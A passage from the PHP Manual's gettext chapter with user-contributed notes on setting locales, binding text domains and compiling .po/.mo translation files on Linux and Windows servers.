bindtextdomain('*', dirname(__FILE__).'/locale');

//setting or not "bind_textdomain_codeset()":
bind_textdomain_codeset("mydomain", 'UTF-8');
?>

As well as what locale directory name to set:
./locale/pt_BR.UTF8/LC_MESSAGES/mydomain.mo
or
./locale/pt_BR/LC_MESSAGES/mydomain.mo
or
./locale/pt/LC_MESSAGES/mydomain.mo

Finally, the code which brought the right translated strings (also with the correct charset) was:

<?php

$directory = dirname(__FILE__).'/locale';
$domain = 'mydomain';
$locale ="pt_BR.utf8";

//putenv("LANG=".$locale); //not needed for my tests, but people say it's useful for windows

setlocale( LC_MESSAGES, $locale);
bindtextdomain($domain, $directory);
textdomain($domain);
bind_textdomain_codeset($domain, 'UTF-8');
?>

And the three directory's names worked out, using the pt_BR.utf8 locale. (My tests were made restarting Apache then trying each directory).

I hope to help someone else not to waste as much time as I've wasted... =P

Using:
Ubuntu 8.04 (hardy)
Apache 2.2.8
PHP 5.2.4-2ubuntu5.6
jpatokal at iki dot fi 29-May-2009 12:05
Warning for Linux (Ubuntu) users!  Your system will *only* support the locales installed on your OS, in the *exact* format given by your OS.  (See also the PHP setlocale man page.)  To get a list of them, enter locale -a, which will give you something like this:

C
en_US.utf8
ja_JP.utf8
POSIX

So this machine only has English and Japanese!  To add eg. Finnish, install the package:

sudo apt-get install language-pack-fi-base

Rerun locale -a, and "fi_FI.utf8" should appear.  Make sure you're using the same name in your PHP code:

setlocale(LC_ALL, "fi_FI.utf8");

Adjust your po paths so that they match, e.g. "./locale/fi_FI.utf8/LC_MESSAGES/messages.po".

Now restart Apache, and it should finally work.  Figuring this out took quite a while...
sasq1 at go2 dot pl 31-Mar-2009 10:18
And what about pgettext and npgettext? They are there in the gettext documentation, but there aren't in PHP. They're very useful if you have the same messages for translation, but in different contexts, so they should be translated separately and probably differently.

Fortunately, there is a simple work-around, which may help:
From the gettext.h header one can find out that pgettext() is only a macro calling dcgettext() internally with properly mangled parameters - msgctxt and msgid are glued together with use of ASCII char 4 [EOT, End Of Text]. The same way they're written in .mo files, so it's possible to refer them this way.

Here's my "emulated" pgettext() function:

<?php
   if (!function_exists('pgettext')) {

      function pgettext($context, $msgid)
      {
         $contextString = "{$context}\004{$msgid}";
         $translation = dcgettext('messages', contextString,LC_MESSAGES);
         if ($translation == $contextString)  return $msgid;
         else  return $translation;
      }

   }
?>

By default, xgettext doesn't support pgettext function for PHP source files. But there is a parameter which can work-around it. Here's how I call xgettext:

   xgettext --force-po --keyword="pgettext:1c,2" -c -o messages.po sourceFile.php

In sourceFile.php I use the following test code:

   pgettext('menu', 'Open');  //Substitute "Otwórz"
   pgettext('forum', 'Open');  //Substitute "Otwarty", different context

Generated .po file fragment:

   msgctxt "menu"
   msgid "Open"
   msgstr "Otwórz"

   msgctxt "forum"
   msgctxt "Open"
   msgstr "Otwarty"

I've tested it out and everything works fine :-) If anyone have some further suggestions or fixes, please write ;-)
rainwalker at seznam dot cz 19-Mar-2009 09:16
My PHP app was made for UTF-8 but i had a problem that gettext always returned all texts in ISO-8859-2 instead of UTF-8.

Then i found out that you have to set locale in PHP exactly to encoding you request. So when i wanted czech UTF-8 i used:

setlocale(LC_ALL, "cs_CZ.UTF-8");

Now it works...
djogopatrao at gmail dot com 10-Dec-2008 10:49
It is noteworthy that, according to the GNU gettext FAQ[1], * source code must be ASCII *. That means that you can't write code like

<?= _("áááàààãã")?>

in UTF-8, ISO-8859-1 or whatever, and hope that that will work. It won't.

[1]http://www.gnu.org/software/gettext/FAQ.html#nonascii_strings
php at devicenull dot org 20-Aug-2008 07:58
To get this working properly on debian, install the locales-all package.  I just spent a few hours finding a bug where it wouldn't work because that package is missing
thomasdecaux at hotmail dot com 14-Aug-2008 01:42
Gettext is a function allowing to get translated text from a table. Its the common function used to internationalize a web site.
fribidi_log2vis
Introduction
Human Language and Character Encoding Support


Introduction

The gettext functions implement an NLS (Native Language Support) API which can be used to internationalize your PHP applications. Please see the gettext documentation for your system for a thorough explanation of these functions or view the docs at » http://www.gnu.org/software/gettext/manual/gettext.html.

User Contributed Notes

There are no user contributed notes for this page.
Gettext
Installing/Configuring
Gettext


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Gettext


Requirements

To use these functions you must download and install the GNU gettext package from » http://www.gnu.org/software/gettext/gettext.html

User Contributed Notes

rustamabd at gmail dot com 07-Mar-2009 01:33
The GNU gettext library works on a per-process, not per-thread basis. This means that in a multi-user setting such as the Apache web server it will only work with a prefork MPM (i.e. one process per user). Worker and other threaded MPMs will not work.

In addition, many users control GNU gettext by setting system environment variables such as LANG. This is not a good solution for a web server environment due to an obvious race condition.
Installing/Configuring
Installation
Installing/Configuring


Installation

To include GNU gettext support in your PHP build you must add the option --with-gettext[=DIR] where DIR is the gettext install directory, defaults to /usr/local.

User Contributed Notes

Anonymous 22-Nov-2010 04:59
Linux users that compile PHP --with-gettext=shared should include
extension=gettext.so

in your /etc/php.ini
windowsuser at example dot com 19-Sep-2008 12:35
Windows users have to add php_gettext.dll to their extensions directory, and enable it in their php.ini file.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Gettext Functions
Gettext


Gettext Functions

Table of Contents

  • bind_textdomain_codeset — Specify the character encoding in which the messages from the DOMAIN message catalog will be returned
  • bindtextdomain — Sets the path for a domain
  • dcgettext — Overrides the domain for a single lookup
  • dcngettext — Plural version of dcgettext
  • dgettext — Override the current domain
  • dngettext — Plural version of dgettext
  • gettext — Lookup a message in the current domain
  • ngettext — Plural version of gettext
  • textdomain — Sets the default domain

User Contributed Notes

analpaper{gmail} 28-Aug-2008 02:36
in response to richard:
i was using the wildcard * for sometime ago without problem, until today.

i used:
<?php bindtextdomain( '*', './locale' ); ?>
but it seems to fail under some environments (i dont know why, but in diff machines with same software the result is not always as expected)..

then, with:
<?php bindtextdomain( "*", './locale' ); ?>
all is nicely translated again.

i use single quotes always if possible, now there are another think to remember.
---
live2code
Sbastien Ballest-Antich 21-May-2008 06:08
A workaround to use heredoc and gettext strings with sprintf :
<?php
$hd = <<<EOD
   <p>%s</p>
   <p>%s</p>
EOD;
$hdgt = sprintf($hd, _('Heredoc'), _('gettext'));
var_dump($hdgt);
?>
titan at phpdevshell dot org 07-Mar-2008 11:25
If you would like to create a .po file with include heredoc scripts inside curly brackets {} solution is as follows;

I want to translate what in here (test.php):
<code>
<?php
$EOF = <<<EOF
{$t->__('I want to translate this string.')}
EOF;
?>
</code>

You will have to use the xgettext (gnu utility) with the Python parser like so:
<code>
$ xgettext --default-domain=test --keyword=__ --keyword --language=Python test.php
</code>

The above terminal command might seem wrong with --keyword used twice, this is however correct.
SEWilco 25-Jul-2007 02:21
People have suggested several combinations of configuration options.  Consider trying nested loops with various combinations of language names (with and without character set suffixes) and pathnames.  A gettext() call in the middle of the loops can test for success (a string being translated).

"Of 4374 localization setup variations tested there were 0 successes."

Sometimes one just has to fix the system and PHP configuration.
jon at nospam dot foo 25-Apr-2007 03:37
I'm sure I'll confuse further, but I feel compelled to chime in.  I got stuck on this a bit...

It's absolutely critical that your gettext installation supports the locale you are trying to use in your setlocale(LC_MESSAGES,$locale) call.

This does not work:

setlocale(LC_MESSAGES,"en");

in OpenSUSE 10.2, because /usr/lib/locale does not contain the directory "en" (out of the box), even though your custom LC_MESSAGES domain location might.

In OpenSUSE 10.2, at least, /usr/lib/locale contains for USA English:

en_US
en_US.iso885915
en_US.utf8

(again, not "en").

It might be possible to set up an alias, I'm not sure (does anyone have a idea about this).

My goal was to use HTTP_ACCEPT_LANGUAGE to set locale (I realize that locale != language, but it seems that gettext uses locale to assign language (scratches head) ).  Opera in OS X does not send "en_US".  However, Firefox does out of the box.  I'm not sure if it's supposed to work this way, but it seems like it should, and so the way Opera handles this appears to be an issue.  Incidentally, Safari simples send "en" in HTTP_ACCEPT_LANGUAGE, and will also not work.

This compelled me to set a configurable default locale (e.g "en_US") in my PHP app, which one probably should do anyway, because HTTP_ACCEPT_LANGUAGE might be blank.
jeremy at jeremy dot se dot nospam 20-Feb-2007 11:27
As some of you have mentioned, you must have the locales compiled on your system first. How this is done is depending on your system/distribution *sigh*

In every case you need to have gettext installed on your system. Users running a Linux with a recent version of libc will have gettext in libc already.

Here's an example for those of you running Ubuntu Edgy.

First of all, have a look in /usr/share/i18n/SUPPORTED, here are the locales that are supported on your system. To compile a locale we will use the command "locale-gen". ("man 8 locale-gen" is good reading)

This command reads configuration from files in the folder /var/lib/locales/supported.d/ In these files the locales and charsets are defined.

If we take swedish as an example, start by creating a file called "sv" in /var/lib/locales/supported.d/ and then put in something like "sv_SE.UTF8 UTF8" (without the " ") This says that we want the locale sv_SE to be built with charmap UTF-8. Check the file /usr/share/i18n/SUPPORTED for other alternatives.

Now we run "locale-gen" which will compile all locales defined in /var/lib/locales/supported.d/ and put them in /usr/lib/locales (yes that's a lot of locations...)

Now you're ready to go...

Create a php-file (e.g. hello.php) where all strings you want to translate are surrounded with _("string here");

next run "xgettext hello.php", this creates a file called messages.po, which is you translation-file (pot). Change the "Content-Type: text/plain; charset=CHARSET\n" in this file and replace CHARSET with UTF-8 in this case. Next translate all strings like this.

#: hello.php:3
msgid "hello!"
msgstr "hej!"

Save and use the command "msgfmt -o hello.mo messages.po" which will create a compiled .mo file called hello.mo

This file is then placed in a directory structure somewhere your Apache can read it. The structure looks like this:

"locale/sv/LC_MESSAGES/hello.mo"

Next, let php know what we're doing. We point to where we have our translations. Add the following at the top of hello.php

bindtextdomain('hello','/somepath/locale');

This binds the file hello.mo to the locale/ directory you created.
Then set the locale. LC_ALL tells that we want everything translated. Might not be good at all times, as another person here suggested.

setlocale(LC_ALL, "sv_SE.UTF-8");

Finally select the that we want to use hello.mo

textdomain('hello');

That should be it! Try it out..

If you get any problems try restarting Apache as it seems to cache the locales.

If you are running command line you might have to set the environment variable LANGUAGE to your locale as well. I didn't have to do that to get it working in apache though, but you might...

putenv("LANGUAGE=sv_SE.UTF-8");
djogopatrao at gmail dot com 31-Oct-2006 03:57
Juan Liska, I found an alternative. Instead of renaming or adding a alias to the locale, I simply changed

$language = 'pt_BR';

to

$language = 'pt_BR.UTF-8';
putenv("LANG=$language");
setlocale(LC_ALL, $language)

and it did work fine!
konrads/smelkovs/gmail/com 11-Oct-2006 07:16
re LC_MESSAGES for windows users, LC_MESSAGES should be defi0ned as 5
C Snover 13-Aug-2006 04:26
I think that it bears mentioning that most documentation and tutorials you will find say that you should setenv(LC_ALL, $locale), but this only works IF THE LOCALE IS VALID ON THE LOCAL MACHINE. If you are using a locale that does not exist on the system or is not valid (like something returned from the HTTP Accept-Language header, such as 'ja', which is never a valid locale because it does not include the country code JP), you will probably be pulling your hair out for HOURS trying to figure out why the damn thing isn't working.

What I have found is that setting the LANGUAGE variable (eg. setenv("LANGUAGE=$locale")) will allow gettext to search inside your locale directories, even if the locale is not actually valid on the local system.

So, to summarize:

This will work:
<?php
$locale = 'ja'; // Pretend this came from the Accept-Language header
$locale_dir = './locale'; // your .po and .mo files should be at $locale_dir/$locale/LC_MESSAGES/messages.{po,mo}

putenv("LANGUAGE=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

putenv("LC_ALL=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will also not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_ALL, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

Nor will this work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_MESSAGES, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

For reference, this was tested on PHP 5.1.2 + LigHTTPd 1.4.11 + gettext 0.14.5 on Ubuntu Dapper 6.06. It should be true for any variant of Linux, however, as well as older versions of these software packages.
richard at hirner dot at 13-Jul-2006 04:43
the * wildcard doesn't work for me (php 5)... I have to use bindtextdomain for each textdomain
webmaster [at] ttw [dash] tool [dot] de 21-May-2006 04:49
If you want to use messages from multiple domains with .mo-files residing in non-standard locations remember to place a bindtextdomain()-call for each domain as "unbound" domains will be looked for in the standard location (usually "/usr/share/locale" on *nix)

<?php

    bindtextdomain('foo','/some/dir/with/mo_files');
    bindtextdomain('bar','/another/mo_file/dir');

    echo dgettext('foo','Text to be translated using the foo-catalog.');
    echo dgettext('bar','Text from a different catalog named bar.');

?>

If all the .mo-files you are using reside in one and the same directory, you may use the "*"-wildcard like this:

<?php

    bindtextdomain('*','/directory/with/all/mo_files');

?>

This code was tested on PHP 5.1.4
info at adaniels dot nl 19-Apr-2006 12:19
As stated by robert at klugher dot com:
The environment setting 'LANGUAGE' gets priority above any local setting. This means that changing LC_ALL/LC_MESSAGES and LANG as done in almost all examples, won't do anything.

So if you've done
<?php
    $language = "nl_NL";
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
but the text is still displayed in english. Try also setting the LANGUAGE variable.
<?php
    $language = "nl_NL";
    putenv("LANGUAGE=$language");
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
birkholz at web dot de 28-Mar-2006 09:52
> stefan+usenet at froehlich dot priv dot at wrote at 5-May-2004 01:30:
> Reading the line
>
> <? php setlocale(LC_ALL, 'de_DE'); ?>
>
> here over and over again, I have to warn using it, as there are severe caveats.
> For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to
> decimals silently stripped of numbers, when inserting rows into an SQL database.
>So DON'T do this, but use
>
> <? php setlocale(LC_MESSAGES, 'de_DE'); ?>
>
> instead, which does exactly what you want, without any nasty side effecs.

For all Windows-Users:
Be warned the LC_MESSAGES seems to be NOT set on Windows with PHP 5.1.2, so if you develope applications for a Linux-System and want to make it multi-language using gettext, you will get problems using LC_MESSAGES on your Windows-Developement-Box.
You can try to solve this problem by putting a

<?php if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6); ?>

to your script to get no warning if you pass LC_MESSAGES to the setlocale()-function.
Juan Liska 15-Nov-2005 03:09
if you're having trouble with setlocale (if it's returning false) on ubuntu or debian:

nano /etc/locale.gen

make sure that the locales taht you want are in the list, if not, add them. for instance, i wanted es_GT (b/c i have an app that must run on redhat and debian, i cant change to es_GT.UTF-8) so, add:

es_GT UTF-8

then run:

locale-gen

you now have the locales you want, not just the ones the system magically came with
milky#users:sf/net 09-Jun-2005 06:12
There exists an emulation for the gettext functions - obviously slower than the native binding, but can be used on shared servers which lack the extension. It is believed to be rather useful as fallback (comes already encapsulated with if-function_exists checks).
See the ext/ directory in the [ http://freshmeat.net/p/upgradephp ] tarball.  Support for plural translations isn't there, because that is too hard to get reimplemented reliably.
tucsi at c2 dot hu 18-May-2005 04:09
If your gettext translation does not work in safe mode, than try to set this in the php.ini:
safe_mode_allowed_env_vars = PHP_,LANG
Maxwel Leite -maxwelleite at gmail com- 27-Apr-2005 12:36
PHP-gettext is developed to be able to read gettext MO files directly, without requiring anything other than PHP:
https://savannah.nongnu.org/projects/php-gettext/
elonen at iki dot fi 30-Mar-2005 01:51
For making localized copies of PHP files (statical l10n), here's a GPL'd command line tool: http://iki.fi/elonen/code/pophorator/
dpatton at confluence dot org 27-Feb-2005 10:47
Make sure you check your webserver configuration before deciding to use gettext, because if you are running in a multi-threaded environment you should not use gettext, as it is not thread-safe.

A future version of gettext(possibly 0.15) may be thread-safe.
Any gettext dependencies, such as glibc would also need to be thread-safe.

Apache 1.3 on Unix generally is non-threaded, but on Windows it is multithreaded.
Apache 2.0 has support for MPMs(Multi-Processing Modules), some of which support multiple threads:
http://httpd.apache.org/docs-2.0/mpm.html
susko at seznam dot cz 24-Feb-2005 09:09
Gettext returning question marks instead of some local characters? Try using bind_textdomain_codeset to change codeset of the translated messages:

bind_textdomain_codeset (domain, codeset);

It worked for me, hope it works for you ..
zixia at zixia dot net 11-Jun-2004 02:42
If gettext does not work with your locale, ie 'zh_CN', just going to see if the output of command "localedef --list-archive" contains your locale('zh_CN' in this example).
If it not, try to use a exist locale or use "localedef" to create one: "localedef -f GBK -i zh_CN zh_CN" in my case.
mikolaj at webgate dot bg 10-Jun-2004 04:54
winXP, PHP 4.3.5 as Apache1.3.29 module

Two hints for Windows users.

I found setting locale is neither sufficient nor nessecery. To get it work I needed to set either LC_ALL or LANG enviroment variable to my locale. Anyway this value must be proper for setlocale so it is good to test with it. In my case it was bgr_BGR for bulgarian according to http://www.unicode.org/onlinedat/countries.html

gettext checks for files once and keeps them in cashe. Especially it means that if it doesn't find your files it won't search again, so restart Apache after any directory changes!!

My minimal working script:
<?php
// translation file: D:\Apache\htdocs\mypage\locale\bgr_BGR\LC_MESSAGES\messages.mo
putenv("LC_ALL=bgr_BGR");
bindtextdomain('messages', 'D:\Apache\htdocs\mypage\locale\\');
echo gettext("Hello");
?>
stefan+usenet at froehlich dot priv dot at 05-May-2004 04:30
Reading the line

<? php setlocale(LC_ALL, 'de_DE'); ?>

here over and over again, I have to warn using it, as there are severe caveats. For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to decimals silently stripped of numbers, when inserting rows into an SQL database. So DON'T do this, but use

<? php setlocale(LC_MESSAGES, 'de_DE'); ?>

instead, which does exactly what you want, without any nasty side effecs.
kocio at irc dot pl 03-May-2004 03:26
Following three lines take about 0.5 second to execute (Debian, Celeron 2GHz, 256MB RAM):

setlocale(LC_ALL, 'pl_PL');
bindtextdomain('my_domain', '../dir/' . 'locale');
textdomain('my_domain');

I think that such delay is important enough to be mentioned in the documentation. In my particular case, it means more than doubled execution time for the entire script.
dev.php at tfelber.net 26-Aug-2003 07:35
Check your

/etc/locales.aliases for "english en_GB.ISO-8859-1" (mentioned before)

and your

/etc/locales.gen for en_GB.ISO-8859-15 ISO-8859-15

I'm not sure if only this entry solved the problem. In my case this entry was made by an dpkg-reconfigure locales (debian), where i created the locales.

Translation only works with de_GE@euro and  en_GB.ISO-8859-15 (first column in you locales.gen)
wouter at grep dot be 13-Aug-2003 12:28
Of course, translation is only interesting if you provide the user with the language and encoding he asks for. Since there's part of the HTTP protocol that allows you to specify that, it's nice if one can use that information to pick the 'right' translation out of the ones you have available.

I wrote something that does just that -- it parses the 'Accept-Language' and 'Accept-Charset' HTTP/1.1 headers, and tells you which one the user prefers out of a list you provide. You can download it at http://www.grep.be/articles/php-accept.php

Note that even if the user's browser may support this, the user may not know about it; as such, it's probably good practice not to remove links to other-languaged versions, so that people can still get a version of your site in another language if they so prefer.
jc 14-Jul-2003 01:15
I had a lot of problems getting gettext to work (RedHat 7.3). After reading ALL the comments in this manual, I got it to work OK.

In summary, take care that:

1) You use a full locale in the setlocale()
2) Your language_country exists in the /usr/share/locale/locale.alias
3) It seems that Apache needs to be restarted (a "graceful" did the trick for me)
4) Your .mo files must be named after the domain

My code:

$language = "es_ES";
$locale = setlocale(LC_ALL, $language);

$gettext_domain = 'messages';
bindtextdomain($gettext_domain, "/full/path/to/locale");
textdomain($gettext_domain);
anim8 17-Jun-2003 06:15
Even though in some cases setlocale() may require a country code in addition to the language code this does not mean that it is required for gettext.

If setlocale() is set to either es_ES or es_MX gettext() will still get the text from a po file in the 'es' folder.

It probably is not a good idea to go changing a systems alias file(s) just to avoid the verbosity of the ISO standard because:
  a) you might break something
  b) your code just lost it's portability

.
13-Jun-2003 07:41
The way I got gettext to work with just a standard "de" or "fr" instead of "de_DE" was I overwrote my /usr/share/locale/locale.alias with /usr/lib/X11/locale/locale.alias file.  The I restarted Apache.  Reason I did this was it appeared the X11 file was more up to date and more modernised!
Picco 08-Jun-2003 10:45
Note to Chinese programmers....

Took me hours to figure out you cannot use

LANG=zh
but have to use
LANG=zh_TW
on some machines...

a good way to test will be to check the return of setlocale()
robert at klugher dot com 25-Feb-2003 09:03
Sorry, one more info :

the previous post is especially interesting when you have values set on the server for some of the LC_... then, setlocale() output gives you all the LC_... with their value.

BUT do not forget that the priority order for gettext is:

LANGUAGE
LC_ALL
LC_MESSAGES
LANG

Then, if ever you script always translate to the same language, check the value of LANGUAGE ...
robert at klugher dot com 25-Feb-2003 05:24
One trick I found after HOURS of tries :

when you use the setlocale(), PHP will use the locale info it will find in, for example, /usr/share/locale to set the language info for LC_ALL, LC_MESSAGES, ...

You can check the exact info it will use by using putenv() with LANG=.... and looking at the return value of setlocale(LC_ALL, ""). The language value your gettext function will use to look for your translation file is the one given for LC_MESSAGES.

Example :

I was setting the LANG as fr_BE, and placed the translation file in dirxxx/locale/fr_BE/LC_MESSAGES/...
As it was locale info in my system for fr_BE but NOT LC_MESSAGES, PHP choosed to use the LC_MESSAGES settings for fr_FR instead and then, was looking for a translation file in dirxxx/locale/fr_FR/LC_MESSAGES/..., which wasn't found of course.

So, just make sure to look at the return value of setlocale to see what language value is associated to LC_MESSAGES and, then, to know in which subdirectory the translation file will be looked for by gettext.

Robert
zw at matfyz dot cz 05-Feb-2003 10:38
There is a nice tutorial on using gettext with php http://www.onlamp.com/pub/a/php/2002/06/13/php.html
php at zpod dot ca 29-Jan-2003 07:24
For those of you just trying to get a script working and your provider doesn't support gettext, you can bypass the international stuff by adding this:

function _($str) {
    return $str;
}
Eneko Lacunza enlar at enlar dot net 16-Jan-2003 08:20
Some tips from my Red Hat Linux 7.3 system.

It didn't work for me until I set a full locale (i.e. es_ES) with setlocale.

I was trying with Michele Manzato's example (thank you!), but as it sets the language without the country, it was failing for me. Here is the example "fixed" with full locale:

// Change to script directory
// (Not needed in RH 7.3)
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as full locale 'es_ES'
$language = 'es_ES';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/es_ES/LC_MESSAGES/mydomain.mo
// or if previous one doesn't exist:
// ./locale/es/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Hope this helps!
Eneko.
yledoare at free dot fr 15-Jan-2003 07:32
Corrections to "hace_x at yahoo dot com" message.

Note : The backslash have been removed in the greetings.po sample code (before the n characters at end of lines).

Same thing for ".includestranslations" to move into "./includes/translations" in php sample.

I used mingw (http://www.mingw.org) with gettext package (http://sourceforge.net/projects/mingwrep) to make it work under WinXp.

I uncoment also "extension=php_gettext.dll" in php.ini (I am using easy php 1.6.0.0)

Here is my conv.bat to generate french translation :

set path=c:\mingw\bin
msgfmt -v -o greetings.mo greetings.po
pause

That's all !

Yann Le Doar�, Brest, France
ywliu atsign hotmail com 09-Jul-2002 09:39
Hello,

For users with Red Hat GNU/Linux (at least 6.2) to use gettext, I'd like to make some notes here :

1. Calling setlocale() is necessary, where calling putenv('LANG=xx_YY') or putenv('LC_ALL=xx_YY') is not.

2. The country/language code should be in the "language_country" form,such as, "en_US" or "fr_FR", or any entry in /usr/share/locale/locale.aliase . The simple ISO two-letter code, such as "en" , is not valid. You can examine the return value of setlocale to see if the locale setting succeeds.

This took me several hours to debug. I hope my experience can save you some time.

This may apply to other Linux distributions or *BSD systems. I don't know. I hope this helps.

Yen-Wei Liu
php at dynaperl dot com 25-Jun-2002 06:49
If you install from SuSE Dist. you need glibc-locale.rpm to let gettext work.

mfg ralph.
mgvNOSPAM at fx dot ro 04-Jun-2002 07:47
If you're as clueless as I am, please note the following:
1. Although most comments list setlocal() in the code, that's not actually required for translations - read the docs under "string functions" for details (also, the official gettext() examples don't include it);
2. hace_x's example is really cool, except you need to know that all "n"'s at the end of his strings should have a backslash before - they're actually EOL characters, but they somehow got messed up and I needed two hours to find that out...
hace_x at yahoo dot com 15-Nov-2001 05:40
I had alot of problems to get gettext() to work on my windows2000-php webserver. The following will give those windows-php users something to hold on to:

Note the way you have to use slashes for the bindtextdomain command:

For a 'greetings' domain:

bindtextdomain ("greetings", ".\includes\translations");

(so, TWO slashes instead of one between the folder-names!)

ALSO, I had to change the filename to be 'greetings.mo': This was NOT clear from all the gnu-pages I read. I had named those files: nl.mo (for dutch) and fr.mo (for french etcetera).

I provide my code and folder-structure here for other windows-users:

<?
Header("Content-type: text/plain");
// Bind a domain to directory
// Gettext uses domains to know what directories to
// search for translations to messages passed to gettext

bindtextdomain ("greetings", "./includes/translations"); // Set the current domain that gettext will use
textdomain ('greetings'); # Make an array

# Use the ISO two-letter codes as keys
# Use the language names as values
$iso_codes = array (
   'en'=>'English',
 'fr'=>'French',
   'it'=>'Italian',
  'pt'=>'Portuguese',
   'es'=>'Spanish',
  'nl'=>'Nederlands'
);
foreach ($iso_codes as $iso_code => $language) {
   # Set the LANGUAGE environment variable to the desired language
   putenv ('LANG='.$iso_code); # Print out the language name and greeting
# Filter the greeting through gettext

printf ("%12s: %s\n", $language, gettext("str_hello")) & "\n";

}
?>

In the windows-webfolder I have the following directory-structure:

==
includes\translations
includes\translationsen
includes\translations\en\LC_MESSAGES
includes\translations\en\LC_MESSAGES\greetings.po
includes\translations\nl\
includes\translations\nl\LC_MESSAGES
includes\translations\nl\LC_MESSAGES\greetings.mo
\includes\translations\nl\LC_MESSAGES\greetings.po
===

To get this working you will need a greetings.po file like this:

(this one is in the 'nl' subdir for dutch language):
===
msgid ""
msgstr ""
"Project-Id-Version: n"
"POT-Creation-Date: n"
"PO-Revision-Date: 2001-11-14 17:11+0100n"
"Last-Translator: Melle Koning <hace_x@yahoo.com>n"
"Language-Team:  <>n"
"MIME-Version: 1.0n"
"Content-Type: text/plain; charset=utf-8n"
"Content-Transfer-Encoding: 8bitn"

msgid "str_hello"
msgstr "hallo"
===

and you have to 'compile' this .po file to a .mo file with the following command-line (go to windows 'command prompt'):

==
msgfmt -o greetings.mo greetings.po
==

To get msgfmt working on your windows machine, you will need to have libiconv.dll, libintl.dll and msgfmt.exe in your path. What I did was put these three files in a new c:utils folder and than run the command:
path=%path%;c:utils

I hope this helps some windows-users like me to get gettext() to work on their systems.......

Cheers,
Melle
hace_x@yahoo.com
Michele dot Manzato at verona dot miz dot it 14-Sep-2001 03:52
Gettext is great, but there are a few caveats you have to consider in order to make it work. Unfortunately the gettext docs isn't so plain and clear...

The .mo file created with the gettext utilities must be:

[bindtextdomain's dir]/[language]/LC_MESSAGES/[domain].mo

otherwise gettext() function will fail to find it (this is true in win32, don't know about Un*ces). By the way you don't get any error message, the strings will simply remain untranslated.

Second, you must make sure which is the current directory if you use a relative path in bindtextdomain. On some systems the script directory isn't the current directory, so you have to chdir() there.

Then, of course, make sure that the appropriate gettext extension are loaded by PHP by looking at the php configuration file.

Here is some sample code:

// Change to the script directory
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as 'it'
$language = 'it';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/it/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Have fun!
Michele
12-Jul-2001 04:59
To get xgettext working with my php code I had to change simple quotes to double quites in my previous example :

print(getText("Welcome"));
/.../
if($err)printf(dGetText("errorMsg","you have an error here"));

I guess that's because strings can not be simple-quoted in C. However I think it is good practice to do as if it was a simple quote, because you do not want to interpolate a string that will end in the catalogue.

Ivan
11-Jul-2001 05:40
It is probably obvious to many of you,  but I thought it was worth mentioning that the domain is the name of the .mo files that contain the string catalogue (without the extension).

so if you have a catalogue myPage.mo for each page in './locale/lg/LC_MESSAGE' and some generic catalogues (e.g. errorMsg.mo) in '/global/locale/lg/LC_MESSAGE', you can do

bindTextDomain("$myPage", './locale');
bindTextDomain('errorMsg','/global/locale' );
textDomain('myPage');
print(getText('Welcome'));
/.../
if($err)printf(dGetText('errorMsg','you have an error here'));

Ivan
Predefined Constants
bind_textdomain_codeset
Gettext


Specify the character encoding in which the messages from the DOMAIN message catalog will be returned

Gettext Functions
bindtextdomain
Gettext Functions
PHP Manual

bind_textdomain_codeset

(PHP 4 >= 4.2.0, PHP 5)

bind_textdomain_codeset — Specify the character encoding in which the messages from the DOMAIN message catalog will be returned

Description

string bind_textdomain_codeset ( string $domain , string $codeset )

With bind_textdomain_codeset(), you can set in which encoding will be messages from domain returned by gettext() and similar functions.

Parameters

domain

The domain

codeset

The code set

Return Values

A string on success.

User Contributed Notes

jon at rejon dot org 31-Aug-2006 12:58
So, by using this function and by setting the LANGUAGE variable, you should be able to have a functioning i18n system that is not dependent upon a system's locale installation. Here is a sample from a method I created for a language class. Look for it on http://wiki.creativecommons.org/Developer soon:

    function Init ()
    {
        // set the LANGUAGE environmental variable
        // This one for some reason makes a difference FU@#$%^&*!CK
        // and when combined with bind_textdomain_codeset allows one
        // to set locale independent of server locale setup!!!
        if ( false == putenv("LANGUAGE=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANGUAGE = %s",
                                 $this->_language));

        // set the LANG environmental variable
        if ( false == putenv("LANG=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANG = %s",
                                 $this->_language));

        // if locales are not installed in locale folder, they will not
        // get set! This is usually in /usr/lib/locale
        // Also, the backup language should always be the default language
        // because of this...see the NOTE in the class description

        // Try first what we want but with the .utf8, which is what the locale
        // setting on most systems want (and is most compatible
        // Then just try the standard lang encoding asked for, and then if
        // all else fails, just try the default language
        // LC_ALL is said to be used, but it has nasty usage in some languages
        // in swapping commas and periods! Thus try LC_MESSAGE if on one of
        // those systems.
        // It is supposedly not defined on WINDOWS, so am including it here
        // for possible uncommenting if a problem is shown
        //
        // if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6);
        // yes, setlocale is case-sensitive...arg
        $locale_set = setlocale(LC_ALL, $this->_language . ".utf8",
